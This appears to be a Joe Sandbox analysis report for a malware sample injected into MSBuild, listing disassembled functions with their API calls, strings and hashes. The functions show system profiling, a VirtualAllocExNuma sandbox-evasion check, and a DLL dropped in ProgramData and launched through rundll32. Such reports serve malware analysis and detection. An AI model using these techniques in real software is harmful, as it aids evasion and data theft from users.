Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction ID: 0994ca530c552eb12484d48fed68a7c00db0df5c681817d2f603923d478d8980
Opcode Fuzzy Hash: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction Fuzzy Hash: B1114C75A0420ADFCB019FA4CC989EEBBB5AF49310F64417EF215E73A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004185DC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction ID: 46aed83c215a1155ddf1663667cd5ec87320cd9fa35168939231c0eb8388c106
Opcode Fuzzy Hash: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction Fuzzy Hash: 57F0C27278122077F22422763C6EFAB5A6C9B42F56F205035F309FB2D0D66998049ABC

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\ProgramData\, xrefs: 00412995
.dll, xrefs: 004129ED
"" , xrefs: 00412A32
C:\Windows\system32\rundll32.exe, xrefs: 00412AE3

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction ID: cfd5adc8c7fec37571e4615a2d659ce623d81488d817e1095ce6785adf6647ed
Opcode Fuzzy Hash: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction Fuzzy Hash: 1A11B971A0011CABCB10EB65DC45FCD7378AB14704F0000A6B645E7191DAB89FC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction ID: d79e8d54b07d2f615201cd360c868d95b9dac01f4be2040cf9acff1c057e51b0
Opcode Fuzzy Hash: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction Fuzzy Hash: F201A9B1E00218BBEB08DFB4DC45EEFB7B9EF08705F04006AF602D7290EA7599818758

Function 0041BD34 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C), ref: 0041BD81
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000), ref: 0041BDB9

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 96129ee170b6e52e4a698042c6e04e57a17f8ea6b04b39fd16cd668f0541581b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: F23165B05047049FDB349F25D898BE77AE9EB14354F108B2FE296D2680D33898C4CB99

Function 6C37C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C37C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C37C969
GetSystemInfo.KERNEL32(?), ref: 6C37C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C37C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C37C9E2

Memory Dump Source

Source File: 00000001.00000002.3063078489.000000006C361000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C360000, based on PE: true

Associated: 00000001.00000002.3063056902.000000006C360000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063421049.000000006C3EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.3063442376.000000006C3F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c360000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: eb079e0d33167aa9b63c534432c4ef0339f844df613acbcb7f9abc9854546f41
Instruction ID: 0adbf06bcdc1559a57dd47ec5b551c982b6bac78b77e6d8418d30dc6679791e4
Opcode Fuzzy Hash: eb079e0d33167aa9b63c534432c4ef0339f844df613acbcb7f9abc9854546f41
Instruction Fuzzy Hash: C721C8317412186BDBA5AA24E884BAE777DAB4B704F50011AF943A7640EB645C008FB9

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416ED6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416EDD
lstrlenA.KERNEL32(?,0000001C), ref: 00416EE8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416F6C

Strings

ERROR, xrefs: 00416F64

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction ID: 206493d018c0af61ad3247b9a1edf73ec3ff293b71de332acb6c3f6d1aa8c941
Opcode Fuzzy Hash: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
